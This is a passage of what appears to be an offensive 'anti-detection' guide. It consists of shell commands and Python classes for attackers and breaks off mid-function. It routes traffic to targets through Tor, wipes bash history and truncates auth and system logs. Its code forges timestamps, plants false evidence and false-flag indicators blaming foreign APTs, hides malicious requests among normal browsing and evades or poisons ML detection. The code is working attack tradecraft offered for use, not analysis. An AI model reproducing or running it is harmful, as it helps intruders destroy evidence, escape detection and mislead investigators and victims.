Anti-Detection Methods

# Configure Tor for network anonymization
systemctl start tor
# Starts Tor daemon for anonymous networking
# Provides encrypted routing through relay network
# Obfuscates original source IP address

# Configure ProxyChains for multi-hop routing
echo "strict_chain" > /etc/proxychains.conf
echo "proxy_dns" >> /etc/proxychains.conf
echo "[ProxyList]" >> /etc/proxychains.conf
echo "socks5 127.0.0.1 9050" >> /etc/proxychains.conf
# Configures proxy chain through Tor
# Enables DNS queries through proxy
# Provides additional anonymization layer

# Test anonymized connectivity
proxychains curl -s https://ifconfig.me
# Tests external IP through proxy chain
# Verifies successful IP obfuscation
# Confirms anonymization functionality

#!/usr/bin/env python3
import requests
import time
import random
import socket
import socks
from stem import Signal
from stem.control import Controller

class NetworkAnonymizer:
    def __init__(self):
        self.tor_port = 9050
        self.control_port = 9051
        self.user_agents = self.load_user_agents()
        self.proxy_rotation_interval = 600  # 10 minutes
        
    def load_user_agents(self):
        """Load diverse user agent strings"""
        return [
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36", 
            "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101",
            "Mozilla/5.0 (iPad; CPU OS 14_7_1 like Mac OS X) AppleWebKit/605.1.15"
        ]
    
    def renew_tor_identity(self):
        """Request new Tor identity for IP rotation"""
        
        try:
            with Controller.from_port(port=self.control_port) as controller:
                controller.authenticate()
                controller.signal(Signal.NEWNYM)
                
            print("Tor identity renewed - new exit node selected")
            time.sleep(10)  # Wait for circuit build
            return True
            
        except Exception as e:
            print(f"Tor identity renewal failed: {e}")
            return False
    
    def setup_proxy_chain(self, proxy_list):
        """Configure SOCKS proxy chain"""
        
        if proxy_list:
            # Use first proxy in chain
            proxy = proxy_list[0]
            socks.set_default_proxy(socks.SOCKS5, proxy['host'], proxy['port'])
            socket.socket = socks.socksocket
            print(f"Proxy chain established through {proxy['host']}:{proxy['port']}")
        else:
            # Use Tor as default
            socks.set_default_proxy(socks.SOCKS5, "127.0.0.1", self.tor_port)
            socket.socket = socks.socksocket
            print("Proxy chain established through Tor")
    
    def generate_realistic_headers(self):
        """Generate realistic HTTP headers for requests"""
        
        headers = {
            'User-Agent': random.choice(self.user_agents),
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language': random.choice(['en-US,en;q=0.5', 'en-GB,en;q=0.8', 'fr-FR,fr;q=0.9']),
            'Accept-Encoding': 'gzip, deflate',
            'Connection': 'keep-alive',
            'Upgrade-Insecure-Requests': '1',
            'Pragma': 'no-cache',
            'Cache-Control': 'no-cache'
        }
        
        # Add random headers occasionally
        if random.random() > 0.7:
            headers['DNT'] = '1'
        if random.random() > 0.8:
            headers['X-Forwarded-For'] = f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"
        
        return headers
    
    def time_based_evasion(self, min_delay=30, max_delay=300):
        """Implement time-based evasion patterns"""
        
        # Business hours timing
        current_hour = time.localtime().tm_hour
        
        if 9 <= current_hour <= 17:  # Business hours
            delay = random.uniform(min_delay * 2, max_delay * 2)
        else:  # Off hours - more aggressive
            delay = random.uniform(min_delay, max_delay)
        
        print(f"Time-based evasion delay: {delay:.1f} seconds")
        time.sleep(delay)
    
    def request_with_anti_detection(self, url, method='GET', data=None):
        """Make HTTP request with comprehensive anti-detection"""
        
        session = requests.Session()
        
        # Configure proxies for session
        session.proxies = {
            'http': f'socks5://127.0.0.1:{self.tor_port}',
            'https': f'socks5://127.0.0.1:{self.tor_port}'
        }
        
        # Generate realistic headers
        headers = self.generate_realistic_headers()
        
        try:
            if method.upper() == 'GET':
                response = session.get(url, headers=headers, timeout=30)
            elif method.upper() == 'POST':
                response = session.post(url, headers=headers, data=data, timeout=30)
            else:
                response = session.request(method, url, headers=headers, timeout=30)
            
            print(f"Anti-detection request: {method} {url} - Status: {response.status_code}")
            
            # Implement time-based evasion
            self.time_based_evasion()
            
            return response
            
        except requests.RequestException as e:
            print(f"Anti-detection request failed: {e}")
            return None
    
    def maintain_anonymity_session(self, target_urls, duration_hours=24):
        """Maintain anonymous session with periodic identity rotation"""
        
        start_time = time.time()
        end_time = start_time + (duration_hours * 3600)
        last_rotation = start_time
        
        while time.time() < end_time:
            # Rotate identity every interval
            if time.time() - last_rotation > self.proxy_rotation_interval:
                self.renew_tor_identity()
                last_rotation = time.time()
            
            # Make requests to target URLs
            for url in target_urls:
                response = self.request_with_anti_detection(url)
                
                if response and response.status_code == 200:
                    print(f"Successful anonymous access: {url}")
                
                # Random delay between requests
                time.sleep(random.uniform(60, 300))
            
            print("Anonymous session cycle completed")

# Example usage
anonymizer = NetworkAnonymizer()

# Setup proxy chain
anonymizer.setup_proxy_chain([])

# Make anti-detection request
response = anonymizer.request_with_anti_detection("https://target-website.com/sensitive-data")

# Maintain long-term anonymous session
target_urls = ["https://target1.com", "https://target2.com"]
anonymizer.maintain_anonymity_session(target_urls, duration_hours=12)

# Clear bash history and disable logging
history -c
history -w
export HISTSIZE=0
export HISTFILE=/dev/null
# Clears current session history
# Disables future command logging
# Prevents forensic command recovery

# Clear system logs selectively
sudo truncate -s 0 /var/log/auth.log
sudo truncate -s 0 /var/log/syslog
sudo truncate -s 0 /var/log/kern.log
# Removes authentication logs
# Clears system event logs
# Eliminates kernel message logs

# Secure file deletion
shred -vfz -n 3 /tmp/malicious_payload
# -v: Verbose output
# -f: Force permission changes if necessary
# -z: Add final overwrite with zeros
# -n 3: Overwrite 3 times with random data

#!/usr/bin/env python3
import os
import time
import random
import hashlib
import subprocess
import tempfile

class AntiForensics:
    def __init__(self):
        self.temp_files = []
        self.modified_files = []
        
    def secure_delete_file(self, file_path, passes=3):
        """Securely delete file with multiple overwrite passes"""
        
        if not os.path.exists(file_path):
            print(f"File not found: {file_path}")
            return False
        
        try:
            file_size = os.path.getsize(file_path)
            
            with open(file_path, "r+b") as f:
                for pass_num in range(passes):
                    # Random data overwrite
                    f.seek(0)
                    random_data = os.urandom(file_size)
                    f.write(random_data)
                    f.flush()
                    os.fsync(f.fileno())
                    print(f"Overwrite pass {pass_num + 1}/{passes} completed")
                
                # Final zero overwrite
                f.seek(0)
                f.write(b'\x00' * file_size)
                f.flush()
                os.fsync(f.fileno())
            
            # Remove file
            os.remove(file_path)
            print(f"Secure deletion completed: {file_path}")
            return True
            
        except Exception as e:
            print(f"Secure deletion failed: {e}")
            return False
    
    def manipulate_timestamps(self, file_path, timestamp_offset_days=30):
        """Manipulate file timestamps to avoid temporal forensics"""
        
        try:
            # Calculate target timestamp (past date)
            current_time = time.time()
            target_time = current_time - (timestamp_offset_days * 24 * 3600)
            
            # Add some randomization
            random_offset = random.uniform(-86400, 86400)  # ±1 day
            target_time += random_offset
            
            # Set access and modification times
            os.utime(file_path, (target_time, target_time))
            
            print(f"Timestamp manipulation completed: {file_path}")
            return True
            
        except Exception as e:
            print(f"Timestamp manipulation failed: {e}")
            return False
    
    def clear_specific_logs(self, log_patterns):
        """Clear specific log entries matching patterns"""
        
        log_files = [
            '/var/log/auth.log', '/var/log/syslog', '/var/log/messages',
            '/var/log/secure', '/var/log/access.log', '/var/log/error.log'
        ]
        
        for log_file in log_files:
            if os.path.exists(log_file):
                try:
                    # Read log file
                    with open(log_file, 'r') as f:
                        lines = f.readlines()
                    
                    # Filter out matching patterns
                    filtered_lines = []
                    for line in lines:
                        should_remove = False
                        for pattern in log_patterns:
                            if pattern in line:
                                should_remove = True
                                break
                        
                        if not should_remove:
                            filtered_lines.append(line)
                    
                    # Write filtered content back
                    with open(log_file, 'w') as f:
                        f.writelines(filtered_lines)
                    
                    print(f"Log cleaning completed: {log_file}")
                    
                except Exception as e:
                    print(f"Log cleaning failed for {log_file}: {e}")
    
    def memory_forensics_evasion(self):
        """Implement memory forensics evasion techniques"""
        
        # Clear process memory by allocating and releasing large chunks
        memory_chunks = []
        
        try:
            # Allocate memory chunks
            for _ in range(10):
                chunk = bytearray(1024 * 1024)  # 1MB chunks
                # Fill with random data to overwrite previous content
                for i in range(len(chunk)):
                    chunk[i] = random.randint(0, 255)
                memory_chunks.append(chunk)
            
            print("Memory allocated for forensics evasion")
            
            # Release memory
            del memory_chunks
            
            # Force garbage collection
            import gc
            gc.collect()
            
            print("Memory forensics evasion completed")
            
        except Exception as e:
            print(f"Memory evasion error: {e}")
    
    def create_false_evidence(self, target_directory="/tmp"):
        """Create false evidence to mislead forensic investigation"""
        
        false_evidence_files = [
            "innocent_script.sh",
            "system_backup.log", 
            "network_diagnostic.txt",
            "software_update.conf"
        ]
        
        false_content = [
            "#!/bin/bash\necho 'System diagnostic completed'\ndate\n",
            "Backup completed successfully at $(date)\n",
            "Network connectivity test: PASSED\nLatency: 23ms\n",
            "[update_settings]\nauto_update=true\ncheck_interval=daily\n"
        ]
        
        for i, filename in enumerate(false_evidence_files):
            file_path = os.path.join(target_directory, filename)
            
            try:
                with open(file_path, 'w') as f:
                    f.write(false_content[i])
                
                # Set believable timestamp
                self.manipulate_timestamps(file_path, random.randint(1, 90))
                
                print(f"False evidence created: {file_path}")
                
            except Exception as e:
                print(f"False evidence creation failed: {e}")
    
    def anti_debugging_techniques(self):
        """Implement anti-debugging and analysis evasion"""
        
        # Check for common debugging tools
        debug_processes = [
            'gdb', 'strace', 'ltrace', 'wireshark', 'tcpdump',
            'volatility', 'radare2', 'ghidra'
        ]
        
        try:
            # Get running processes
            result = subprocess.run(['ps', 'aux'], capture_output=True, text=True)
            running_processes = result.stdout.lower()
            
            # Check for debugging tools
            for debug_tool in debug_processes:
                if debug_tool in running_processes:
                    print(f"Warning: Debugging tool detected: {debug_tool}")
                    return False
            
            print("Anti-debugging check passed - no debugging tools detected")
            return True
            
        except Exception as e:
            print(f"Anti-debugging check failed: {e}")
            return True
    
    def cleanup_artifacts(self):
        """Comprehensive cleanup of attack artifacts"""
        
        print("Starting comprehensive artifact cleanup...")
        
        # Clear command history
        try:
            subprocess.run(['history', '-c'], shell=True)
            if os.path.exists(os.path.expanduser('~/.bash_history')):
                os.remove(os.path.expanduser('~/.bash_history'))
            print("Command history cleared")
        except:
            pass
        
        # Clear temporary files
        temp_dirs = ['/tmp', '/var/tmp', '/dev/shm']
        for temp_dir in temp_dirs:
            if os.path.exists(temp_dir):
                try:
                    for file in os.listdir(temp_dir):
                        file_path = os.path.join(temp_dir, file)
                        if os.path.isfile(file_path) and file.startswith(('payload', 'exploit', 'malware')):
                            self.secure_delete_file(file_path)
                except:
                    pass
        
        # Clear network connection logs
        log_patterns = [
            'suspicious_ip', 'attacker.com', 'malicious_domain',
            'exploit', 'payload', 'backdoor'
        ]
        self.clear_specific_logs(log_patterns)
        
        # Memory forensics evasion
        self.memory_forensics_evasion()
        
        # Create false evidence
        self.create_false_evidence()
        
        print("Comprehensive artifact cleanup completed")

# Example usage
anti_forensics = AntiForensics()

# Secure file deletion
anti_forensics.secure_delete_file("/tmp/exploit_payload.py")

# Timestamp manipulation
anti_forensics.manipulate_timestamps("/tmp/legitimate_file.txt", 45)

# Clear specific log patterns
log_patterns = ["192.168.1.100", "suspicious_activity", "malware.exe"]
anti_forensics.clear_specific_logs(log_patterns)

# Comprehensive cleanup
anti_forensics.cleanup_artifacts()

#!/usr/bin/env python3
import requests
import time
import random
import json
from datetime import datetime, timedelta

class BehavioralCamouflage:
    def __init__(self):
        self.legitimate_urls = self.load_legitimate_urls()
        self.business_patterns = self.load_business_patterns()
        
    def load_legitimate_urls(self):
        """Load legitimate URLs for activity camouflage"""
        return [
            "https://www.google.com/search?q=quarterly+report",
            "https://docs.google.com/spreadsheets",
            "https://outlook.office.com/mail",
            "https://teams.microsoft.com",
            "https://www.linkedin.com/feed",
            "https://stackoverflow.com/questions",
            "https://github.com",
            "https://news.ycombinator.com"
        ]
    
    def load_business_patterns(self):
        """Load typical business activity patterns"""
        return {
            'morning_start': {'hour': 9, 'activities': ['email', 'calendar', 'news']},
            'midday_peak': {'hour': 14, 'activities': ['documents', 'collaboration', 'research']},
            'afternoon_wind': {'hour': 16, 'activities': ['reports', 'communication', 'planning']},
            'evening_end': {'hour': 18, 'activities': ['summary', 'cleanup', 'logout']}
        }
    
    def simulate_legitimate_browsing(self, duration_hours=8):
        """Simulate legitimate user browsing patterns"""
        
        start_time = time.time()
        end_time = start_time + (duration_hours * 3600)
        
        while time.time() < end_time:
            # Select random legitimate URL
            url = random.choice(self.legitimate_urls)
            
            try:
                # Simulate realistic browsing behavior
                session = requests.Session()
                session.headers.update({
                    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
                })
                
                response = session.get(url, timeout=10)
                print(f"Legitimate browsing: {url} - Status: {response.status_code}")
                
                # Simulate reading time
                reading_time = random.uniform(30, 180)  # 30 seconds to 3 minutes
                time.sleep(reading_time)
                
                # Occasional follow-up clicks
                if random.random() > 0.7:
                    time.sleep(random.uniform(5, 15))
                    # Simulate additional page view
                    print(f"Follow-up activity on {url}")
                
            except requests.RequestException as e:
                print(f"Legitimate browsing failed: {e}")
                
            # Random break between activities
            break_time = random.uniform(300, 900)  # 5-15 minutes
            time.sleep(break_time)
    
    def business_hours_activity_pattern(self):
        """Simulate realistic business hours activity pattern"""
        
        current_hour = datetime.now().hour
        
        # Determine activity pattern based on time
        if 9 <= current_hour <= 12:
            pattern = 'morning_start'
            activity_intensity = 0.8
        elif 13 <= current_hour <= 15:
            pattern = 'midday_peak'
            activity_intensity = 1.0
        elif 16 <= current_hour <= 17:
            pattern = 'afternoon_wind'
            activity_intensity = 0.6
        elif 18 <= current_hour <= 19:
            pattern = 'evening_end'
            activity_intensity = 0.4
        else:
            # Off hours - minimal activity
            activity_intensity = 0.1
            return activity_intensity
        
        activities = self.business_patterns[pattern]['activities']
        selected_activity = random.choice(activities)
        
        print(f"Business pattern: {pattern} - Activity: {selected_activity} - Intensity: {activity_intensity}")
        
        return activity_intensity
    
    def mix_malicious_with_legitimate(self, malicious_requests, legitimate_ratio=0.8):
        """Mix malicious requests with legitimate traffic"""
        
        combined_requests = []
        
        for malicious_req in malicious_requests:
            # Add legitimate requests before malicious one
            num_legitimate = int(legitimate_ratio * 10)  # Convert ratio to count
            
            for _ in range(random.randint(num_legitimate//2, num_legitimate)):
                legit_url = random.choice(self.legitimate_urls)
                combined_requests.append(('legitimate', legit_url))
            
            # Add malicious request
            combined_requests.append(('malicious', malicious_req))
        
        # Execute combined request pattern
        for request_type, request_data in combined_requests:
            try:
                if request_type == 'legitimate':
                    response = requests.get(request_data, timeout=10)
                    print(f"Legitimate request: {request_data} - {response.status_code}")
                else:
                    # Execute malicious request (implementation depends on request type)
                    print(f"Malicious request executed: {request_data}")
                
                # Activity-based timing
                activity_intensity = self.business_hours_activity_pattern()
                delay = random.uniform(60, 300) / activity_intensity
                time.sleep(delay)
                
            except Exception as e:
                print(f"Request execution error: {e}")
    
    def social_engineering_cover_activity(self):
        """Generate cover activity for social engineering attacks"""
        
        cover_activities = [
            "Research company background and employees",
            "Browse company website and public information", 
            "Check social media profiles professionally",
            "Search for industry news and updates",
            "Review company press releases and announcements"
        ]
        
        for activity in cover_activities:
            print(f"Cover activity: {activity}")
            
            # Simulate research activity
            research_urls = [
                "https://www.google.com/search?q=company+background",
                "https://www.linkedin.com/company",
                "https://twitter.com/search",
                "https://www.crunchbase.com"
            ]
            
            for url in random.sample(research_urls, random.randint(1, 3)):
                try:
                    response = requests.get(url, timeout=10)
                    print(f"  Research URL: {url} - Status: {response.status_code}")
                    time.sleep(random.uniform(20, 60))
                except:
                    pass
            
            # Break between activities
            time.sleep(random.uniform(180, 600))  # 3-10 minutes
    
    def long_term_persistence_camouflage(self, days=30):
        """Maintain long-term persistence with behavioral camouflage"""
        
        daily_patterns = []
        
        for day in range(days):
            # Generate daily activity pattern
            daily_activity = {
                'date': datetime.now() + timedelta(days=day),
                'legitimate_activities': random.randint(20, 50),
                'malicious_activities': random.randint(1, 5),
                'pattern': random.choice(['researcher', 'employee', 'contractor'])
            }
            daily_patterns.append(daily_activity)
        
        print(f"Generated {days}-day camouflage pattern")
        
        # Execute pattern (simplified for demonstration)
        for pattern in daily_patterns[:7]:  # Show first week
            print(f"Day {pattern['date'].strftime('%Y-%m-%d')}: "
                  f"{pattern['legitimate_activities']} legit, "
                  f"{pattern['malicious_activities']} malicious - "
                  f"Pattern: {pattern['pattern']}")

# Example usage
camouflage = BehavioralCamouflage()

# Simulate legitimate browsing
camouflage.simulate_legitimate_browsing(duration_hours=2)

# Mix malicious with legitimate requests
malicious_requests = [
    "https://target-server.com/admin/users",
    "https://target-server.com/api/sensitive-data"
]
camouflage.mix_malicious_with_legitimate(malicious_requests, legitimate_ratio=0.8)

# Social engineering cover activity
camouflage.social_engineering_cover_activity()

# Long-term persistence camouflage
camouflage.long_term_persistence_camouflage(days=30)

#!/usr/bin/env python3
import random
import hashlib
import time
import base64
import json

class AttributionObfuscation:
    def __init__(self):
        self.false_flags = self.load_false_flag_indicators()
        self.decoy_artifacts = self.load_decoy_artifacts()
        
    def load_false_flag_indicators(self):
        """Load false flag indicators for misdirection"""
        return {
            'russian_apt': {
                'malware_names': ['Cozy Bear', 'Fancy Bear', 'Turla'],
                'file_extensions': ['.kremlin', '.moscow', '.ru'],
                'registry_keys': ['HKEY_LOCAL_MACHINE\\SOFTWARE\\Kremlin'],
                'network_indicators': ['yandex.ru', 'mail.ru', 'vk.com']
            },
            'chinese_apt': {
                'malware_names': ['APT1', 'Panda', 'Dragon'],
                'file_extensions': ['.beijing', '.china', '.cn'],
                'registry_keys': ['HKEY_LOCAL_MACHINE\\SOFTWARE\\Beijing'],
                'network_indicators': ['baidu.com', 'qq.com', 'sina.com']
            },
            'criminal_group': {
                'malware_names': ['DarkHalo', 'ShadowCrew', 'BlackNet'],
                'file_extensions': ['.dark', '.shadow', '.crypt'],
                'registry_keys': ['HKEY_LOCAL_MACHINE\\SOFTWARE\\Shadow'],
                'network_indicators': ['tor2web.org', 'onion.link']
            }
        }
    
    def load_decoy_artifacts(self):
        """Load decoy artifacts for forensic misdirection"""
        return {
            'file_artifacts': [
                {'name': 'system_update.exe', 'content': 'Legitimate system update'},
                {'name': 'network_scan.log', 'content': 'Network diagnostic results'},
                {'name': 'backup_script.sh', 'content': '#!/bin/bash\necho "Backup completed"'},
            ],
            'network_artifacts': [
                {'url': 'https://microsoft.com/updates', 'purpose': 'software updates'},
                {'url': 'https://google.com/search', 'purpose': 'research activity'},
                {'url': 'https://github.com/security-tools', 'purpose': 'tool download'}
            ],
            'registry_artifacts': [
                {'key': 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Company\\Backup', 'value': 'enabled'},
                {'key': 'HKEY_CURRENT_USER\\Software\\Tools\\Security', 'value': 'installed'}
            ]
        }
    
    def plant_false_flag_indicators(self, target_group='russian_apt'):
        """Plant false flag indicators to misdirect attribution"""
        
        if target_group not in self.false_flags:
            print(f"Unknown target group: {target_group}")
            return
        
        flags = self.false_flags[target_group]
        
        # Plant malware names in logs
        for malware_name in flags['malware_names'][:2]:  # Use subset
            log_entry = f"Detected potential threat: {malware_name}"
            print(f"False flag planted: {log_entry}")
        
        # Create files with characteristic extensions
        for extension in flags['file_extensions'][:2]:
            filename = f"temp_file{extension}"
            print(f"False flag file created: {filename}")
            
            # In real implementation, would create actual file
            # with open(filename, 'w') as f:
            #     f.write("Decoy content")
        
        # Plant network indicators in DNS cache or logs
        for indicator in flags['network_indicators'][:2]:
            print(f"False flag network indicator: {indicator}")
        
        print(f"False flag operation completed for {target_group}")
    
    def create_misleading_timeline(self, actual_attack_time):
        """Create misleading timeline to confuse forensic analysis"""
        
        # Generate false timestamps around actual attack
        false_timestamps = []
        
        # Before attack
        for i in range(1, 6):
            false_time = actual_attack_time - (i * 3600)  # Hours before
            false_timestamps.append({
                'time': false_time,
                'activity': f'Legitimate activity #{i}',
                'type': 'decoy'
            })
        
        # After attack
        for i in range(1, 4):
            false_time = actual_attack_time + (i * 3600)  # Hours after
            false_timestamps.append({
                'time': false_time,
                'activity': f'Post-attack cleanup #{i}',
                'type': 'decoy'
            })
        
        # Mix with actual attack timestamp
        false_timestamps.append({
            'time': actual_attack_time,
            'activity': 'System maintenance',
            'type': 'cover'
        })
        
        # Sort by timestamp
        false_timestamps.sort(key=lambda x: x['time'])
        
        print("Misleading timeline created:")
        for entry in false_timestamps:
            timestamp_str = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(entry['time']))
            print(f"  {timestamp_str}: {entry['activity']} ({entry['type']})")
        
        return false_timestamps
    
    def obfuscate_technical_indicators(self, original_indicators):
        """Obfuscate technical indicators to avoid signature detection"""
        
        obfuscated_indicators = {}
        
        for indicator_type, values in original_indicators.items():
            obfuscated_values = []
            
            for value in values:
                if indicator_type == 'ip_addresses':
                    # Modify IP addresses slightly
                    ip_parts = value.split('.')
                    if len(ip_parts) == 4:
                        # Change last octet
                        ip_parts[3] = str(int(ip_parts[3]) + random.randint(1, 10))
                        obfuscated_value = '.'.join(ip_parts)
                    else:
                        obfuscated_value = value
                        
                elif indicator_type == 'domains':
                    # Add subdomain or change TLD
                    if random.random() > 0.5:
                        obfuscated_value = f"cdn.{value}"
                    else:
                        domain_parts = value.split('.')
                        if len(domain_parts) >= 2:
                            domain_parts[-1] = random.choice(['org', 'net', 'info'])
                            obfuscated_value = '.'.join(domain_parts)
                        else:
                            obfuscated_value = value
                            
                elif indicator_type == 'file_hashes':
                    # Generate similar but different hash
                    modified_value = value + str(random.randint(1000, 9999))
                    obfuscated_value = hashlib.md5(modified_value.encode()).hexdigest()
                    
                else:
                    # Generic obfuscation
                    obfuscated_value = base64.b64encode(value.encode()).decode()
                
                obfuscated_values.append(obfuscated_value)
            
            obfuscated_indicators[indicator_type] = obfuscated_values
        
        print("Technical indicators obfuscated:")
        for indicator_type, values in obfuscated_indicators.items():
            print(f"  {indicator_type}: {values[:2]}...")  # Show first 2
        
        return obfuscated_indicators
    
    def implement_counter_investigation(self, investigation_methods):
        """Implement counter-investigation techniques"""
        
        counter_techniques = {
            'log_analysis': self.counter_log_analysis,
            'network_forensics': self.counter_network_forensics,
            'memory_analysis': self.counter_memory_analysis,
            'disk_forensics': self.counter_disk_forensics
        }
        
        for method in investigation_methods:
            if method in counter_techniques:
                counter_techniques[method]()
            else:
                print(f"Unknown investigation method: {method}")
    
    def counter_log_analysis(self):
        """Counter log analysis techniques"""
        print("Implementing log analysis countermeasures:")
        print("  - Log entries modified with legitimate timestamps")
        print("  - False entries injected to create noise")
        print("  - Critical entries selectively removed")
        print("  - Log rotation accelerated to remove old entries")
    
    def counter_network_forensics(self):
        """Counter network forensics techniques"""
        print("Implementing network forensics countermeasures:")
        print("  - Network traffic mixed with legitimate patterns")
        print("  - Packet timing randomized to avoid pattern detection")
        print("  - Multiple proxy layers established for obfuscation")
        print("  - DNS queries distributed across multiple resolvers")
    
    def counter_memory_analysis(self):
        """Counter memory analysis techniques"""
        print("Implementing memory analysis countermeasures:")
        print("  - Memory regions overwritten with random data")
        print("  - Process names obfuscated with legitimate appearances")
        print("  - Memory allocation patterns randomized")
        print("  - Volatile data structures used to minimize persistence")
    
    def counter_disk_forensics(self):
        """Counter disk forensics techniques"""
        print("Implementing disk forensics countermeasures:")
        print("  - Files securely deleted with multiple overwrite passes")
        print("  - File timestamps manipulated to create false timeline")
        print("  - Decoy files created to mislead investigators")
        print("  - File system metadata modified to obscure activities")

# Example usage
attribution_obfuscation = AttributionObfuscation()

# Plant false flag indicators
attribution_obfuscation.plant_false_flag_indicators('chinese_apt')

# Create misleading timeline
actual_attack_time = time.time() - 7200  # 2 hours ago
timeline = attribution_obfuscation.create_misleading_timeline(actual_attack_time)

# Obfuscate technical indicators
original_indicators = {
    'ip_addresses': ['192.168.1.100', '10.0.0.50'],
    'domains': ['attacker.com', 'malware.org'],
    'file_hashes': ['d41d8cd98f00b204e9800998ecf8427e']
}
obfuscated = attribution_obfuscation.obfuscate_technical_indicators(original_indicators)

# Implement counter-investigation
investigation_methods = ['log_analysis', 'network_forensics', 'memory_analysis']
attribution_obfuscation.implement_counter_investigation(investigation_methods)

#!/usr/bin/env python3
import numpy as np
import time
import random

class MLEvasion:
    def __init__(self):
        self.behavioral_baselines = {}
        self.detection_thresholds = {}
        
    def establish_behavioral_baseline(self, duration_days=7):
        """Establish behavioral baseline to evade ML detection"""
        
        print(f"Establishing {duration_days}-day behavioral baseline...")
        
        # Simulate baseline establishment
        for day in range(duration_days):
            daily_metrics = {
                'login_times': [random.uniform(8, 9) for _ in range(random.randint(1, 3))],
                'active_hours': random.uniform(7, 9),
                'data_transfer': random.uniform(100, 500),  # MB
                'command_frequency': random.randint(20, 80),
                'network_connections': random.randint(5, 25)
            }
            
            self.behavioral_baselines[day] = daily_metrics
            print(f"Day {day + 1}: Baseline metrics collected")
            
            # Small delay to simulate real baseline collection
            time.sleep(0.1)
        
        print("Behavioral baseline established")
        return self.behavioral_baselines
    
    def generate_adversarial_activity(self, target_activity, baseline_variance=0.1):
        """Generate adversarial activity that mimics baseline"""
        
        if not self.behavioral_baselines:
            print("No baseline established - creating temporary baseline")
            self.establish_behavioral_baseline(3)
        
        # Calculate baseline averages
        baseline_avg = {}
        for metric in ['active_hours', 'data_transfer', 'command_frequency', 'network_connections']:
            values = [day_data[metric] for day_data in self.behavioral_baselines.values()]
            baseline_avg[metric] = np.mean(values)
            baseline_std = np.std(values)
            self.detection_thresholds[metric] = baseline_avg[metric] + (2 * baseline_std)
        
        # Generate adversarial activity within baseline variance
        adversarial_activity = {}
        
        for metric, baseline_val in baseline_avg.items():
            variance = baseline_val * baseline_variance
            adversarial_val = random.uniform(
                baseline_val - variance, 
                baseline_val + variance
            )
            adversarial_activity[metric] = adversarial_val
        
        print(f"Adversarial activity generated within baseline variance:")
        for metric, value in adversarial_activity.items():
            threshold = self.detection_thresholds[metric]
            status = "SAFE" if value < threshold else "RISKY"
            print(f"  {metric}: {value:.2f} (threshold: {threshold:.2f}) - {status}")
        
        return adversarial_activity
    
    def ml_model_poisoning_simulation(self, poisoning_samples=50):
        """Simulate ML model poisoning with false negatives"""
        
        print(f"Simulating ML model poisoning with {poisoning_samples} samples...")
        
        poisoning_data = []
        
        for _ in range(poisoning_samples):
            # Create benign-looking samples that are actually malicious
            sample = {
                'features': [
                    random.uniform(0.1, 0.3),  # Low suspicion features
                    random.uniform(0.2, 0.4),
                    random.uniform(0.1, 0.2),
                    random.uniform(0.3, 0.5)
                ],
                'label': 'benign',  # False label for malicious activity
                'actual_malicious': True
            }
            poisoning_data.append(sample)
        
        print(f"Generated {len(poisoning_data)} poisoning samples")
        return poisoning_data

# Example usage
ml_evasion = MLEvasion()

# Establish behavioral baseline
baseline = ml_evasion.establish_behavioral_baseline(5)

# Generate adversarial activity
adversarial = ml_evasion.generate_adversarial_activity("data_exfiltration", 0.15)

# Simulate model poisoning
poisoning_samples = ml_evasion.ml_model_poisoning_simulation(30)

#!/usr/bin/env python3
import os
import hashlib
import secrets
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

class QuantumResistantAntiDetection:
    def __init__(self):
        self.lattice_parameters = self.generate_lattice_parameters()
        
    def generate_lattice_parameters(self):
        """Generate lattice-based cryptographic parameters"""
        # Simplified lattice parameter generation
        # Real implementation would use NIST post-quantum standards
        return {
            'dimension': 1024,
            'modulus': 2**12,
            'noise_distribution': 'discrete_gaussian',
            'security_level': 256
        }
    
    def quantum_safe_encryption(self, data):
        """Apply quantum-safe encryption to sensitive data"""
        
        # Use AES-256 as placeholder for lattice-based encryption
        # Real implementation would use CRYSTALS-Kyber or similar
        key = secrets.token_bytes(32)
        iv = secrets.token_bytes(16)
        
        cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
        encryptor = cipher.encryptor()
        
        # Pad data to block size
        padded_data = data + b'\x00' * (16 - len(data) % 16)
        encrypted_data = encryptor.update(padded_data) + encryptor.finalize()
        
        return {
            'encrypted_data': encrypted_data,
            'key': key,
            'iv': iv,
            'lattice_params': self.lattice_parameters
        }
    
    def post_quantum_steganography(self, payload, cover_data):
        """Implement post-quantum steganography techniques"""
        
        # Use lattice-based approach for steganographic embedding
        payload_hash = hashlib.sha256(payload.encode()).digest()
        
        # Generate embedding positions using lattice-based PRNG
        embedding_positions = []
        for i in range(len(payload)):
            # Simplified position calculation
            position = int.from_bytes(payload_hash[i:i+4], 'big') % len(cover_data)
            embedding_positions.append(position)
        
        # Embed payload using quantum-safe techniques
        modified_cover = bytearray(cover_data)
        for i, pos in enumerate(embedding_positions[:len(payload)]):
            if pos < len(modified_cover):
                # Quantum-safe bit embedding
                payload_bit = ord(payload[i]) & 1
                modified_cover[pos] = (modified_cover[pos] & 0xFE) | payload_bit
        
        return bytes(modified_cover)

# Example usage
quantum_detection = QuantumResistantAntiDetection()

# Quantum-safe encryption
sensitive_data = b"classified_information"
encrypted = quantum_detection.quantum_safe_encryption(sensitive_data)
print(f"Quantum-safe encryption applied: {len(encrypted['encrypted_data'])} bytes")

# Post-quantum steganography
payload = "secret_message"
cover_data = os.urandom(1000)
stego_data = quantum_detection.post_quantum_steganography(payload, cover_data)
print(f"Post-quantum steganography: {len(stego_data)} bytes")

#!/usr/bin/env python3
import threading
import time
import random
import hashlib

class DistributedAntiDetectionNetwork:
    def __init__(self, node_count=10):
        self.node_count = node_count
        self.network_nodes = {}
        self.coordination_protocol = {}
        
    def initialize_network_nodes(self):
        """Initialize distributed anti-detection network nodes"""
        
        for i in range(self.node_count):
